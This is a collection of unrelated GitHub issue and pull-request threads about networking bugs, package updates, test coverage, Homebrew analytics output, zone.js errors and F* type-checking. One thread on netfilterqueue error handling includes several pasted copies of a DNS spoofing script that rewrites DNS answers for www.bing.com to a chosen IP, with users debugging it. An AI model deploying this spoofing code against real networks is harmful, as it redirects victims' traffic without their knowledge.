Stuck in infinite request loop with consecutive requests

I'm currently using the Oatmeal Framework, and part of it is making network requests with the Networking component. Now, under the hood, the framework uses Alamofire to make its requests, but it ensures we only run one request at a time (I'm not sure exactly why, I'll inquire about this with the creator). Now, the code for doing that is the following:
public func fire(route : Route, completion:(response: ResponseHandler) -> Void)
{
    //Networking is meant as a one track lane, but if the developer puts two cars in the lane, we'll create a fork in the road to let the other in
    var currentRoute = route
    if(currentRequests >= requestCap)
    {
        NSThread.sleepForTimeInterval(1)
    }
    if(pendingRequest)
    {
        if let networking : Networking = ~Oats()
        {
            self.currentRequests += 1
            networking.fire(currentRoute, completion: completion)
        }
    }
    else
    {
        self.currentRoute = route
        if let events : Events = ~Oats()
        {
            events.fire("NetworkingRequest", payload: ["networking" : self])

        }
        //First we create the context of the request
        //Allowing for the developer to have full control over the request
        self.pendingRequest = true

        if let config  = currentRoute.customConfiguration
        {
            manager = Alamofire.Manager(configuration: config, serverTrustPolicyManager: nil)
        }
        else
        {
            let config = NSURLSessionConfiguration.defaultSessionConfiguration()
            config.timeoutIntervalForResource = 600
            config.HTTPAdditionalHeaders      = Manager.defaultHTTPHeaders

            manager = Alamofire.Manager(configuration: config, serverTrustPolicyManager: currentRoute.sslPolicy)
        }

        if(headers.count >= 1)
        {
            currentRoute.headers = headers
        }

        switch(currentRoute.type)
        {
        case .ShouldSendUrlAndReturnJson, .ShouldSendJsonAndReturnIt:
            print("Making request")
            manager.request(currentRoute.compose()).responseJSON { result in
                var handler = self.getHandler(result.response,result: result.result)
                handler     = self.adjustToExpectation(currentRoute, handler: handler)
                self.pendingRequest = false
                self.currentRequests -= 1
                completion(response: handler)
            }
        case .ShouldSendJsonAndReturnString,.ShouldSendUrlAndReturnString:
            manager.request(currentRoute.compose()).responseString{ result in
                var handler = self.getHandler(result.response,result: result.result)
                handler     = self.adjustToExpectation(currentRoute, handler: handler)
                self.pendingRequest = false
                self.currentRequests -= 1
                completion(response: handler)
            }
        }
    }
}

The problem is, this gets me stuck in an infinite loop when I make two requests right after each other, as  it appears the handler is never run for the first request. My top contender is the theory that the check for pendingRequest is being run on the main thread, and when Alamofire returns with a response, it tries to run the handler on the main thread, but that isn't possible cause it's already hogged by the second request waiting to be dispatched.
My question here is:

Am I correct as to what's causing this error?
Is this something that should be fixed in Alamofire or is it actually a bug/bad design in the framework
(Optional) Help me find a better solution

I'm fairly new to Swift programming, so I'm not the best at debugging these kinds of issues, but I have narrowed it down to the error arising from manager.request(currentRoute.compose()).responseJSON, as everything up until that point appears to run.

I'm sorry, but you should seek support through the framework provider. Unless you can narrow some issue down to being an Alamofire bug, there's not much we can do here. If you can't get support there, StackOverflow may be a good place to ask a question about it.
As for the design overall, I don't know what your requirements are, one request at a time is generally a bad idea unless you have some very specific API requirements to that end.
If you want, post your overall requirements and I can tell you what I'd recommend as far as methods and frameworks, but otherwise there's nothing for Alamofire to do here.


fix(node:buffer): add missing atob and btoa exports

https://nodejs.org/api/buffer.html#bufferatobdata
https://nodejs.org/api/buffer.html#bufferbtoadata
Fixes #2196

@jasnell good catch. added.

@IgorMinar ... can I ask you to rebase to deal with the merge conflict?

@jasnell done. please note that I had to add eslint-disable-next-line bailouts into the code because our current typescript setup is not great, or at least I couldn't figure out how to make it all work with our custom d.ts files.
I suspect that we should really be using @types/node instead of our custom typings here but that was a much bigger change that I was willing to bite off in this PR.


hongbo/bigarray equal address #926

try to make sharing
add BigInt::equal_int BigInt::equal_int64
add tests
info

Pull Request Test Coverage Report for Build 2975
Details

13 of 21 (61.9%)  changed or added relevant lines in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage decreased (-0.1%) to 83.604%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

builtin/bigint.mbt
13
21
61.9%

Totals

Change from base Build 2974:
-0.1%

Covered Lines:
3906

Relevant Lines:
4672

💛  - Coveralls


python27Packages.authlib: 0.14.1 -> 0.14.3

Semi-automatic update generated by nixpkgs-update tools. This update was made based on information from https://repology.org/metapackage/python2.7-authlib/versions.
meta.description for python27Packages.authlib is: "The ultimate Python library in building OAuth and OpenID Connect servers. JWS,JWE,JWK,JWA,JWT included."
meta.homepage for python27Packages.authlib is: "https://github.com/lepture/authlib"
Updates performed

Version update

To inspect upstream changes

Release on GitHub

Compare changes on GitHub

Impact

Checks done (click to expand)

built on NixOS

Warning: a test defined in passthru.tests did not pass

0 of 0 passed binary check by having a zero exit code.

0 of 0 passed binary check by having the new version present in output.

found 0.14.3 with grep in /nix/store/7il3qfnyqsylj5cm9djfpjcll40i2ffy-python2.7-authlib-0.14.3

directory tree listing: https://gist.github.com/cff9d80f9f2c7ef127044bfb776a2eec

du listing: https://gist.github.com/fbfafb9d68669e3888b8c86a4c7ffdd8

Rebuild report (if merged into master) (click to expand)

12 total rebuild path(s)

3 package rebuild(s)

3 x86_64-linux rebuild(s)
3 i686-linux rebuild(s)
3 x86_64-darwin rebuild(s)
3 aarch64-linux rebuild(s)

First fifty rebuilds by attrpath
python27Packages.authlib
python37Packages.authlib
python38Packages.authlib

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/7il3qfnyqsylj5cm9djfpjcll40i2ffy-python2.7-authlib-0.14.3 \
  --option binary-caches 'https://cache.nixos.org/ https://r-ryantm.cachix.org/' \
  --option trusted-public-keys '
  r-ryantm.cachix.org-1:gkUbLkouDAyvBdpBX0JOdIiD2/DP1ldF3Z3Y6Gqcc4c=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(r-ryantm's Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A python27Packages.authlib https://github.com/r-ryantm/nixpkgs/archive/7c6a40c812e54ce83601ab1eb278c7e9ced22c81.tar.gz

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/7il3qfnyqsylj5cm9djfpjcll40i2ffy-python2.7-authlib-0.14.3
ls -la /nix/store/7il3qfnyqsylj5cm9djfpjcll40i2ffy-python2.7-authlib-0.14.3/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review 1

3 packages built:
- python27Packages.authlib
- python37Packages.authlib
- python38Packages.authlib

Maintainer pings
cc @flokli for testing.

Backported as 79076235ebf1a14b3435bc4d02e5df995a75c375 for matrix-synapse.


Make machine_batch detect image_id like machine does

This fails:
machine_batch 'blah' do
  machine 'blah' do
  end
end

This succeeds:
machine 'blah' do
end

Both should succeed.

Will this fix #89?

@christinedraper nope, I don't think so.  But that's merged now :)

Other than minor style comment, :+1:


Typo in instrument filename not caught by instrument testing

See pull #118

See pull #143 which makes the download testing more stringent. This change now requires the list_files routine to actually return a list of files as part of download testing, thus typos in filenames will be caught. As I type this, there may still me a small window for sat_id, where the filename for one sat_id may actually correspond to a different sat_id. This potential loophole is closed if there is a new temporary directory for every instrument tested, which may already be the case. Check the test_instruments code.

I remember checking, and there is a single temporary directory. The small loop hole remains.

pinging @jklenzing as an FYI given he is working on this code, though not this issue.

Do we need to create a unique temporary directory for each instrument test?

That is the question!
We can leave as is, including the small window for file errors related to sat_id, or we go full on individual temp folders.
Pinging @aburrell to get full team input. It may be a bit of a pain to go full on temp folders. Risk/reward time.
Also, you can tell me to stop talking about this, but the amount of pysat work and discussion going on is awesome. Even when I’m behind seeing a bunch of github emails coming in makes me smile. Speaking of, I’m behind.
It is official. Pysat is becoming its own thing, bigger than any individual. :)
Cue a monty burns clip, ‘Excellent.....’
Cheers,
Russell
On Feb 21, 2019, at 12:06 PM, Jeff Klenzing <notifications<EMAIL_ADDRESS>wrote:
Do we need to create a unique temporary directory for each instrument test?
—
You are receiving this because you were assigned.
Reply to this email directly, view it on GitHubhttps://github.com/rstoneback/pysat/issues/123#issuecomment-466103886, or mute the threadhttps://github.com/notifications/unsubscribe-auth/ADbdeehaaV22bBNli8hoZ8mB4_Hf_jYkks5vPuA0gaJpZM4YykMX.

I say we close the loophole.  I think we'll run against this again at some point, and it would be good to have the confidence that our unit tests will catch our mistakes.

One potential easy fix is to include sat_id in the default directory naming structure. The downside is having to move files on current installations.
I’m not sure what my original reasoning was for leaving it off. There could be something I’m forgetting.
On Feb 21, 2019, at 3:56 PM, Angeline Burrell <notifications<EMAIL_ADDRESS>wrote:
I say we close the loophole. I think we'll run against this again at some point, and it would be good to have the confidence that our unit tests will catch our mistakes.
—
You are receiving this because you were assigned.
Reply to this email directly, view it on GitHubhttps://github.com/rstoneback/pysat/issues/123#issuecomment-466183065, or mute the threadhttps://github.com/notifications/unsubscribe-auth/ADbdeU4UvltBgSToalQyQrEcTM5eZxJqks5vPxYNgaJpZM4YykMX.

One potential easy fix is to include sat_id in the default directory naming structure. The downside is having to move files on current installations.

Does this loophole only affect the temporary files created during testing, or all the files?

All files that have a sat_id.

Adding to agenda for next week's meeting.

Given the volume of data files GOLD is expected to produce and the likelihood we will fully use sat_id and tag here (and maybe a third thing to be determined), we should discuss the plan forward.  Adding to agenda.
Possibility: Instead of sat_id / tag  use  sat_id / level / product

For GOLD: Use sat_id for channel, tag for level, name for data product.

I just recently downloaded new JRO data and the file names were different than what we have in pysat. Tests are still passing.....

@rstoneback is that good or bad? :-P

No bueno! Not sure why that wasn't caught.
I've repurposed tag in some places to be level but that only works since I only have one product. I've also broken things into multiple instruments. Conceivably I could pull them all together with another dimension.
We currently have:
platform / name (instrument) / sat_id / tag
Proposal:
platform / name / sat_id / level / product

Since this and #183 change the directory structure, should they be moved to 3.0.0?

Yes, I agree this should be a 3.0

Adding a note that this affects ICON data with the current format used by ICON instruments.

Needs a method to clean up old directory structure to the new structure.

Run a file list on current directory.
Spawn new instrument name list
create new directories
move files


doesn't play well with voice chat

for some reason connecting to vc seems to break the script, making it unable to set game status upon joining, only fixed by reloading the browser

ill check console for some errors


info: make verbose analytics use tabular output.

This copies (and slightly improves) the current brew formula-analytics output so brew formula-analytics can be adjusted to just output JSON.
@Homebrew/maintainers: if you currently use brew formula-analytics can you test this PR and let me know what's still missing for you to be able to use brew info -v exclusively? Thanks 💕

[x] Have you followed the guidelines in our Contributing document?
[x] Have you checked to ensure there aren't other open Pull Requests for the same change?
[x] Have you added an explanation of what your changes do and why you'd like us to include them?
[ ] Have you written new tests for your changes? Here's an example.

[x] Have you successfully run brew tests with your changes locally?

@fxcoudert and @commitay: you have both mentioned this previously so I'd want your 👍 before I go ahead with this to avoid messing with your workflow.

The pipe-separated-values table output is almost but not quite a Markdown-formatted table. Could it be Markdown formatted?
────────────────────────────────────────────────────────────────────────────────
1 │ samtools                                                     │ 545 │ 100.00%
────────────────────────────────────────────────────────────────────────────────

brew info is per formula, for me it won't replace the complete plain-text list from formula-analytics --install that can be adjusted with --days-ago=*, grepped and copied.

@sjackman What would be the benefit of making it markdown formatted?
@commitay Thanks! Could you provide a list of the commands you run that this won't cover? I want to try and make them be all doable without brew formula-analytics being required.

What would be the benefit of making it markdown formatted?

A Markdown table would be rendered nicely when copy-and-pasted into a Github issue, when used to justify an argument of adding/removing an option. It's minor, but I prefer standard formats when possible.
────────────────────────────────────────────────────────────────────────────────
1 │ samtools                                                     │ 545 │ 100.00%
────────────────────────────────────────────────────────────────────────────────

or

Rank
Name
Count
Percent

1
samtools
545
100.00%

Mostly just formula-analytics --install --days-ago={30,60,90,180}.

@commitay Cool, thanks.

A Markdown table would be rendered nicely when copy-and-pasted into a Github issue, when used to justify an argument of adding/removing an option. It's minor, but I prefer standard formats when possible.

The main issue I have is that we'll need to always display a header and omit other lines that make it more human readable in order to make it Markdown.

@commitay What do you think would be a reasonable command for those to live on? brew info -v? brew info --analytics?

────────────────────────────────────────────────────────────────────────────────
1 │ samtools                                                     │ 545 │ 100.00%
────────────────────────────────────────────────────────────────────────────────

| Rank | Name                                                         | Count | Percent |
|------|--------------------------------------------------------------|-------|---------|
|    1 | samtools                                                     |   545 | 100.00% |

Both tables are three lines, and I find them equally readable in plain text. One has the advantage of being rendered nicely in GitHub. This is a minor preference and suggestion.

This is a minor preference and suggestion.

I second that. The benefit is that headers are important for context if you’re not yet familiar with the table.
For example, I’ve never bothered with analytics but if I were to start today, I’d have to guess off the top of my head (@sjackman I wrote this before you posted the actual headers):
Hmmm … a rank? Or some         Installs, right? We
non-semantic key that          don’t measure
happens to behave well         downloads/fetches … or
right now?                     do we?
 │                                         │
 │                                         └────────────────────────┐
 ▼                                                                  ▼
 ────────────────────────────────────────────────────────────────────────────────
 1 │ samtools                                                     │ 545 │ 100.00%
 ────────────────────────────────────────────────────────────────────────────────

Count

Minor nitpick: if we settle for headers, let’s make that Installs (or Downloads, depending on what it really is.)

</bikeshed>

Probably brew info --analytics.

==> install_on_request (365d days)
Index | Name (with options)                                  |  Count |  Percent
-----:|------------------------------------------------------|-------:|--------:
1     | sdl                                                  | 33,387 |   99.60%
2     | sdl --with-x11                                       |     71 |    0.21%
3     | sdl --with-x11 --with-test                           |     27 |    0.08%
4     | sdl --HEAD                                           |     21 |    0.06%
5     | sdl --with-test                                      |     14 |    0.04%
Total |                                                      | 33,520 |  100.00%

==> install_on_request (365d days)

Index
Name (with options)
Count
Percent

1
sdl
33,387
99.60%

2
sdl --with-x11
71
0.21%

3
sdl --with-x11 --with-test
27
0.08%

4
sdl --HEAD
21
0.06%

5
sdl --with-test
14
0.04%

Total

33,520
100.00%

Beautiful!

❯❯❯ brew info sdl
==> Analytics
Error: undefined method `values' for "30d":String
/Users/sjackman/.homebrew/Homebrew/Library/Homebrew/cmd/info.rb:339:in `block (2 levels) in output_formula_analytics'
/Users/sjackman/.homebrew/Homebrew/Library/Homebrew/cmd/info.rb:338:in `each'
…

@sjackman Thanks, fixed.


hl - 6pm-4  Add ability to upload CSV of courses to courses page

Add an upload button for uploading courses CSV.
Actually, both the functionalities and most tests are already in the codebase,
and they all work.
I have no idea what to do.

Tried it on Heroku I think it is working. I don't know why this happened.

My apologies, this issue has already been implemented, please see your teams Kanban board for a new story.


trailingMargin problem lead to crash in v1.1.0

hello,it seems that a crash was made in the new version.Because the trailing margin was invalidate.
Plz check it.
*** Terminating app due to uncaught exception 'NSInvalidArgumentException', reason: '-[MASConstraintMaker trailingMargin]: unrecognized selector sent to instance

Thanks!

Dupe of #461


adjust docs config page

adjusting docs config per discussion in https://github.com/dbt-labs/docs.getdbt.com/pull/3989/files#diff-d7019f8d3227a79cd73b0a6fdef68e1aa821a3396ffd3330e3e8eb7ab466f8a4

hey @dbeatty10 , created this pr per our discussion in the https://github.com/dbt-labs/docs.getdbt.com/pull/3989#discussion_r1392809678 pr


IE9 exception thrown and not caught

Version 0.8.18 zone.js line 159.
This was also happening in version 0.8.12 so I updated but it's still happening.
    Zone.prototype.runTask = function (task, applyThis, applyArgs) {
          if (task.zone != this) {
              throw new Error('A task can only be run in the zone of creation! (Creation: ' +
                  (task.zone || NO_ZONE).name + '; Execution: ' + this.name + ')');
          }
          // https://github.com/angular/zone.js/issues/778, sometimes eventTask
          // will run in notScheduled(canceled) state, we should not try to
          // run such kind of task but just return
          // we have to define an variable here, if not
          // typescript compiler will complain below
          var isNotScheduled = task.state === notScheduled;
          if (isNotScheduled && task.type === eventTask) {
              return;
          }
          var reEntryGuard = task.state != running;
          reEntryGuard && task._transitionTo(running, scheduled);
          task.runCount++;
          var previousTask = _currentTask;
          _currentTask = task;
          _currentZoneFrame = { parent: _currentZoneFrame, zone: this };
          try {
              if (task.type == macroTask && task.data && !task.data.isPeriodic) {
                  task.cancelFn = null;
              }
              try {
                  return this._zoneDelegate.invokeTask(this, task, applyThis, applyArgs);
              }
              catch (error) {
                  if (this._zoneDelegate.handleError(this, error)) {
                      throw error;
                  }
              }
          }

@lenderby , which line? and the exception detail will be help.

@JiaLiPassion line 159. There's no detail given in the console error but it links to this page: https://docs.microsoft.com/en-us/scripting/javascript/misc/exception-thrown-and-not-caught

I am running Angular 4 in Webpack.

@lenderby , could you modify your zone.js and add console.log(error) to check the error detail information?

It says "Access is denied."

@lenderby , could you try set this flag in index.html before  loading zone.js.
<head>
  <script>
    __Zone_enable_cross_context_check = true;
 </script>
</head>

@JiaLiPassion I tried that and the error output is still Access is denied.

@hakanaltinbas, zone.js will not access the file system, could you provide a reproduce repo?

will close for now because no reproduce info.


F* chokes on inductive relation parameterized by another relation

Seems that F* now has troubles defining simple inductive relations like reflexive transitive closure. Here's an even more simplified example that causes F* to loop forever:
type relation = int -> Type

type multi (r:relation) : int -> Type =
| Multi_step : x:int -> r x -> multi r x

This seems like a regression, I'm quite sure this used to work well a while back.
[Update 2016-10-12] This no longer loops, but without Nik's --__temp_no_proj Bug575 workaround the error message for this is now:
[hritcu@detained bug-reports]$ fstar.exe bug575.fst
Error: Unexpected error; please file a bug report, ideally with a minimized version of the source program that triggered the error.
Failure("k=(r:Bug575.relation -> uu___:Prims.int -> projectee:(Bug575.multi r@1 uu___@0) -> Tot (?39737 r@2 uu___@1 projectee@0))\nxs=r, uu___, projectee\nargs=r uu___ projectee x\nIll-formed substitutution")

This blocks me from porting stlc-norm to universes.
https://github.com/yforster/stlc-norm

The definition of multi in the simplified example works when inlining relation:
type multi (r:int -> Type) : int -> Type =
| Multi_step : x:int -> r x -> multi r x

I don't know if you could work around the issue as easily in stlc-norm.

Sigh.

Investigating further

Thanks for the workarounds. It was indeed enough to just inline relation to keep going on stlc-norm.

This no longer loops, but now gives an unexpected error:
[hritcu@detained bug-reports]$ fstar.exe bug575.fst
Error: Unexpected error; please file a bug report, ideally with a minimized version of the source program that triggered the error.
Failure("k=(r:Bug575.relation -> uu___:Prims.int -> projectee:((Bug575.multi r@1) uu___@0) -> Tot (?32731 r@2 uu___@1 projectee@0))\nxs=r, uu___, projectee\nargs=r uu___ projectee x\nIll-formed substitutution")
./bug575.fst(3,28-7,42): Z3 provided a counterexample, but, unfortunately, F* could not translate it back to something meaningful
./bug575.fst(7,42-11,40): Z3 provided a counterexample, but, unfortunately, F* could not translate it back to something meaningful
Error: 2 errors were reported (see above)

Moreover, Santiago's workaround of inlining relation no longer works:
hritcu@detained bug-reports]$ fstar.exe bug575.fst
./bug575.fst(3,28-7,42): Z3 provided a counterexample, but, unfortunately, F* could not translate it back to something meaningful
Error: 1 errors were reported (see above)

Finally, Nik's workaround doesn't seem to fix this either:
[hritcu@detained bug-reports]$ fstar.exe bug575.fst --__temp_no_proj Bug575
./bug575.fst(3,28-7,42): Z3 provided a counterexample, but, unfortunately, F* could not translate it back to something meaningful
./bug575.fst(7,42-11,40): Z3 provided a counterexample, but, unfortunately, F* could not translate it back to something meaningful
Error: 2 errors were reported (see above)

You need my workaround --__temp_no_proj Bug575

Then, the failures you see are real failures that come from F* being unable to prove that these types have equality. The error message is terrible, but @aseemr is working on improving it. To indicate that you don't want equality for these types, tag them with the noeq qualifier. See the updated bug575.fst

I have the impression that the origin of the problem is in the dependent pattern matching rather than the projectors themselves, i.e. even with --__temp_no_proj the following code fails
let is_Multi_step r x (projectee : multi r x) =
  match projectee with
	  | Multi_step _ _  -> true
	  | _  -> false

with the usual
Failure("k=(r:relation -> x:((fun r -> (int $$ Tot Type(?104706))) r@0) -> projectee:(multi r@1 x@0) -> Tot (?104735 r@2 x@1 projectee@0))\nxs=r, x, projectee\nargs=r x projectee uu___\nIll-formed substitutution")

@nikswamy any update on this bug? We would like to get rid of the "temporary" no-proj...

worked a bit more on it 11 days ago, tightening the repro a bit, but no resolution yet

Yet another (quite minimal) example :
let rel (a:Type0) = a -> Type0

type free_reflexive (a:Type0) (r:rel a) : a -> Type0 =
  | FRReturn : x:a -> r x -> free_reflexive a r x

From some debugging with @shaolintl, it seems that the comment to the function solve_both_pats is slightly incorrect :
              //(U1:k1) xs =?= (U2:k2) ys
              //    where k1 = bs -> k1' bs
              //          k2 = cs -> k2' cs
              //zs = xs intersect ys, (U:k_u) fresh
              //     where k_u = ds -> k_u' ds
              //U1 = \x1 x2. U zs
              //U2 = \y1 y2 y3. U zs
              //sub probs:
              //k1' xs =?= k2' ys
              //k_u zs =?= k1' xs   (an optimization drops this case when for k1'=Type _ \/ k2'=Type)

It may happen that k1 or k2 contains unification variable themselves and don't have "enough" binders wrt their respective arguments...

...My previous comment seems slightly wrong, it may happen that k is of the valid arrow form only after substituting the first argument (consider the type k = x:Type -> x with arguments (nat -> Type) 5). Is there any way in the compiler to do this kind of flex-rigid problem interleaved with the subtitution of arguments ?
Also The problem disappear if you inline the definition of rel in the previous example so maybe I'm not debugging the right problem.

Did a few tries and eveything seems to work now... will do some more intensive testing before closing.


Novo PullRequest

aceita meus pull request ai cara, po

Não sei como faz isso kkkk
Tu mudou muito o projeto?
Em seg., 6 de mar. de 2023 22:21, André Fontenele @.***>
escreveu:

aceita meus pull request ai cara, po
You can view, comment on, or merge this pull request online at:
https://github.com/Guilherme-Soar6/Sneakers/pull/1
Commit Summary

f20e59c
https://github.com/Guilherme-Soar6/Sneakers/pull/1/commits/f20e59ca839f14532cd3365b0e7bd6cf6f2b111b
Atualização no README sobre o projeto.
5706cc4
https://github.com/Guilherme-Soar6/Sneakers/pull/1/commits/5706cc43109f580942d738e85f5f84d81d6cd6d7
Update README.md
b2eabe8
https://github.com/Guilherme-Soar6/Sneakers/pull/1/commits/b2eabe84c239798c1611613558380bc05a11994a
Update README.md

File Changes
(0 files https://github.com/Guilherme-Soar6/Sneakers/pull/1/files)
Patch Links:

https://github.com/Guilherme-Soar6/Sneakers/pull/1.patch
https://github.com/Guilherme-Soar6/Sneakers/pull/1.diff

—
Reply to this email directly, view it on GitHub
https://github.com/Guilherme-Soar6/Sneakers/pull/1, or unsubscribe
https://github.com/notifications/unsubscribe-auth/AYZU3WWNEWGCVZKL2XTHUEDW22ERDANCNFSM6AAAAAAVR22E3A
.
You are receiving this because you are subscribed to this thread.Message
ID: @.***>


Billing - STRIPE - Synch User/Invoices Reorg

The Synchronize Users and Synchronize Invoices must be temporarily switched off to let us test the beta version of the STRIPE integration on SFL tenant.

[x] Add a LIVE MODE flag - set it to OFF
[x] Check that flag to make sure we do not create STRIPE customers automatically for all Users
[x] Make sure the scheduled tasks do not synchronize
[x] Make sure Start Transaction / Stop Transaction is still possible (when LIVE MODE is OFF and no billing data)
[x] Only selected beta testers should have access to the BILLING module ]
[x] Only selected beta testers should be able to enter a payment method and see the impact on invoices

@cabch : please have a look ... I have removed the _isDeletedInStripe() method.
The isDeleted flag is now checked only when we try to retrieve the stripe customer


remove orchestra/database dev dependency

A new inspection was created.

A new inspection was created.

A new inspection was created.

A new inspection was created.

A new inspection was created.

A new inspection was created.

A new inspection was created.

A new inspection was created.

A new inspection was created.

A new inspection was created.

The inspection completed: 1 new issues, 6 updated code elements

The inspection completed: 1 new issues, 6 updated code elements

A new inspection was created.

A new inspection was created.

The inspection completed: 1 new issues, 6 updated code elements

The inspection completed: 1 new issues, 6 updated code elements

The inspection completed: 1 new issues, 6 updated code elements

The inspection completed: 1 new issues, 6 updated code elements


TEST Contribution

This is a practice contribution for a training module.
Contributor guide pull request
Thanks for contributing to the Microsoft Learn contributor guide. Please read these instructions for processing your pull request (PR). Once you've read this text, delete it and write a brief description of the changes you're proposing.
Quality control

[ ] 1. Successful build with no warnings: Review the build status to make sure all checks are green (Succeeded).

[ ] 2. #Sign-off: Once the PR is finalized and ready to be merged, indicate so by typing #sign-off in a new comment in the PR. Signing off means the document is ready for review and can be published at any time.

Merge and publish

All PRs to this repository are manually reviewed and merged.
Once all feedback on the PR is addressed, we'll merge the PR into the main branch.

Need help?

If you have an open PR, tag the PR reviewers in comment with your question: @carlyrevier, @jehchow
Open an issue in this repo and tag the PR reviewers.

#sign-off

@tiprock-network - This looks great! If this were a real PR, someone at Microsoft would start the review process now. Because this is just a practice one, I'm going to close it. :) Thanks for being a contributor!


feat: support PostgreSQL END statement

Adds support for the PostgreSQL END statement in the Connection API.
See also https://www.postgresql.org/docs/current/sql-end.html
Fixes #2130

@olavloite: Generally looks good to me except that I have one question. How are we updating the .sql files under main/resources, and test/resources? Do we use any automated way to generate/change these?


Change type of id field in entities to from Long to String if necessary

Some entities in the "entity" package specify an "id" attribute of type Long. According to the API docs, ids are not guarenteed to be numeric and should have a data type of String instead. Alle entities should quickly be reviewed against API documentation and data type switched if necessary.

The following entities have a Long id where the Mastodon API defines a String id.

[ ] Account
[ ] Attachment (MediaAttachment)
[ ] MastodonList (List)
[ ] Mention (Status::Mention)
[ ] Notification
[ ] Relationship
[ ] Report
[ ] Status

Just for reference: This issue was created based on the following issue reported in the mastodon4j project: https://github.com/sys1yagi/mastodon4j/issues/89


Exceptions are ignored

When an exception is raised in my callback, I simply see a message like this one:
Exception TypeError: "argument of type 'NoneType' is not iterable" in 'netfilterqueue.global_callback' ignored

This makes troubleshooting painful. Is there a safe way for you to allow the exception to terminate the script with the normal stack trace? Short of that, maybe a constructor argument or other mutator to give developers the ability to opt for more detailed exception information?
I'd like to be more helpful but at a glance I can't tell where these exceptions are being handled and silenced. If you can point me to it, I'll be happy to take a crack at a PR.

`#usr/env/bin python
import netfilterqueue
import scapy.all as scapy
def process_packet(packet
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.DNSRR):
qname = scapy_packet[scapy.DNSQR].qname
if ‘www.bing.com’ in queue:
print (' [+] spoofing target')
answer = scapy.DNSRR(rrname=qname, rdata='<IP_ADDRESS>')
scapy_packet[scapy.DNS].an = answer
scapy_packet[scapy.DNS].ancount = 1
          del scapy_packet[scapy.IP].len
          del scapy_packet[scapy.IP].chksum
          del scapy_packet[scapy.UDP].len
          del scapy_packet[scapy.UDP].chksum

 packet.set_payload(str(scapy_packet))

packet.accept()
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()`
I was returned with the same error as posted in the query, i.e.
Exception TypeError: "argument of type 'netfilterqueue.NetfilterQueue' is not iterable in 'netfilterqueue.global_callback' ignored"

`#usr/env/bin python
import netfilterqueue
import scapy.all as scapy
def process_packet(packet
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.DNSRR):
qname = scapy_packet[scapy.DNSQR].qname
if ‘www.bing.com’ in queue:
print (' [+] spoofing target')
answer = scapy.DNSRR(rrname=qname, rdata='<IP_ADDRESS>')
scapy_packet[scapy.DNS].an = answer
scapy_packet[scapy.DNS].ancount = 1
          del scapy_packet[scapy.IP].len
          del scapy_packet[scapy.IP].chksum
          del scapy_packet[scapy.UDP].len
          del scapy_packet[scapy.UDP].chksum

 packet.set_payload(str(scapy_packet))

packet.accept()
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()`
I was returned with the same error as posted in the query, i.e.
Exception TypeError: "argument of type 'netfilterqueue.NetfilterQueue' is not iterable in 'netfilterqueue.global_callback' ignored"

I made an error in the code, issue resolved.

Hey, bro need your help!!!
I am facing sort of same situation, can you help me out with the error with the netfilterqueue library:--
"[+] Spoofing Target
Exception TypeError: "'module' object has no attribute 'getitem'" in 'netfilterqueue.global_callback' ignored"

@YuvrajSingh-16, I think a workaround during development might be to put a blanket try/catch at the top level in your callback function and use the traceback module to print a stack trace that would help you find the error (or use pdb to drop into an interactive debugger).

hey guys i am facing the same error I think you guys are students from zsecurity.How did you solve the error??

I am having the same problem. I am here scratching my head. My code looks good but I have the same error.
TypeError: a bytes-like object is required, not 'str'
Exception ignored in: 'netfilterqueue.global_callback'
Any help would be appreciated.
#!/usr/bin/env python
import netfilterqueue
import scapy.all as scapy

def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.DNSRR):
        qname = scapy_packet[scapy.DNSQR].qname
        if "www.bing.com." in qname:
            print("[+] Spoofing target ")
            answer = scapy.DNSRR(rrname=qname, rdata="<IP_ADDRESS>")
            scapy_packet[scapy.DNS].an = answer
            scapy_packet[scapy.DNS].ancount = 1

            del scapy_packet[scapy.IP].len
            del scapy_packet[scapy.IP].chksum
            del scapy_packet[scapy.UDP].len
            del scapy_packet[scapy.UDP].chksum

            packet.set_payload(str(scapy_packet)) # this will replace the original
    packet.accept()
    #packet.drop()

queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()

Terminal Output:
`┌──(root💀kali)-[~/PycharmProjects/Zsecurity]
└─# python3 dns_spoof.py                                      130 ⨯
Traceback (most recent call last):
File "/root/PycharmProjects/Zsecurity/dns_spoof.py", line 13, in process_packet
if "www.bing.com." in qname:
TypeError: a bytes-like object is required, not 'str'
Exception ignored in: 'netfilterqueue.global_callback'
Traceback (most recent call last):
File "/root/PycharmProjects/Zsecurity/dns_spoof.py", line 13, in process_packet
if "www.bing.com." in qname:
TypeError: a bytes-like object is required, not 'str'
Traceback (most recent call last):
File "/root/PycharmProjects/Zsecurity/dns_spoof.py", line 13, in process_packet
if "www.bing.com." in qname:
TypeError: a bytes-like object is required, not 'str'
Exception ignored in: 'netfilterqueue.global_callback'
Traceback (most recent call last):
File "/root/PycharmProjects/Zsecurity/dns_spoof.py", line 13, in process_packet
if "www.bing.com." in qname:
TypeError: a bytes-like object is required, not 'str'
^CTraceback (most recent call last):
File "/root/PycharmProjects/Zsecurity/dns_spoof.py", line 30, in
queue.run()
KeyboardInterrupt


Introductory Offer Support?

Wondering if we can get introductory offer support by implementing the ability to check eligibility?
Each product returns whether it has an introductory offer tied to it.  However in order to check eligibility we must parse the receipt. (Hence the feature request)
This would entail parsing the receipt for is_trial_period as well as is_in_intro_offer_period.  If these values are equal to 1 somewhere, a user has already used free trial/introductory offer.
Helpful articles outlining this:
https://www.revenuecat.com/blog/ios-introductory-prices
